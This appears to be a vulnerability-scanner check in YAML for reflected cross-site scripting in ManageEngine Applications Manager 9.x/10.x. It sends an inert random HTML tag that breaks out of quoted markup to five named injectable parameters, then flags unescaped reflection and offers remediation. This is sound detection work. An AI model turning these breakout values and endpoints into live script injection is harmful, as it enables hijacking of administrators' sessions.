# https://nvd.nist.gov/vuln/detail/CVE-2012-1063
uid: 5ff1705f-ff2d-4025-bdb5-2a937e74858b
name: "ManageEngine Applications Manager 9.x/10.x reflected cross-site scripting (CVE-2012-1062)"
description: |
  Tests ManageEngine Applications Manager 9.x and 10.x for reflected cross-site
  scripting. The test requests jsp/PopUp_Graph.jsp (attName parameter),
  showHistoryData.do (period parameter) and showresource.do (selectedNetwork,
  network and group parameters) with an inert per-run random HTML tag in the
  parameter. The finding is raised when the tag comes back in an HTML reply
  with its angle brackets unescaped, meaning the page lets an
  attacker inject markup and script into the administrator's session.
category: xss
cves: [CVE-2012-1062]
severity: medium
confidence_base: 0.30
tags: [manageengine, applications-manager, xss]
services: [http, https]
ports: [9090]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-1062"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-1063"

steps:
  - id: mint
    action: script
    code: 'rand_hex(8)'
    store_as: tok

  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {status: 0, body: "", headers: {}}
    loop:
      over:
        - "/jsp/PopUp_Graph.jsp?restype=QueryMonitor&resids=&attids=%27&attName="
        - "/showHistoryData.do?period="
        - "/showresource.do?method=getMonitorForm&network="
        - "/showresource.do?method=getMonitorForm&selectedNetwork="
        - "/showresource.do?method=getMonitorForm&group="
      var: url

  - id: probe
    action: http_request
    method: GET
    path: "{{url}}%22%3E%3Cnoctis{{tok}}%3Ex%3C/noctis{{tok}}%3E"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: resp

  - id: check
    action: script
    store_as: verdict
    code: |
      let ok = resp.status == 200 && type_of(resp.body) == "string";
      let ct = if ok && type_of(resp.headers["content-type"]) == "string" { tolower(resp.headers["content-type"]) } else { "" };
      let b = if ok { resp.body } else { "" };
      let html = stridx(ct, "html") >= 0;
      if html && stridx(b, "<noctis" + tok + ">x</noctis" + tok + ">") >= 0 {
        "reflected: " + url
      } else {
        ""
      }

  - id: xss
    action: match
    source: verdict
    pattern: "^reflected: "
    on_match:
      finding:
        title: "ManageEngine Applications Manager — reflected cross-site scripting (CVE-2012-1062)"
        confidence_delta: 0.45   # 0.30 + 0.45 = 0.75
        qod: 75
        evidence: "{{verdict}} — the injected <noctis…> tag was returned unescaped in an HTML reply"
        remediation: "Upgrade ManageEngine Applications Manager to the latest release (the 9.x and 10.x lines are end of life) and restrict console access to administrators."
      stop: true

View these feeds on GitHub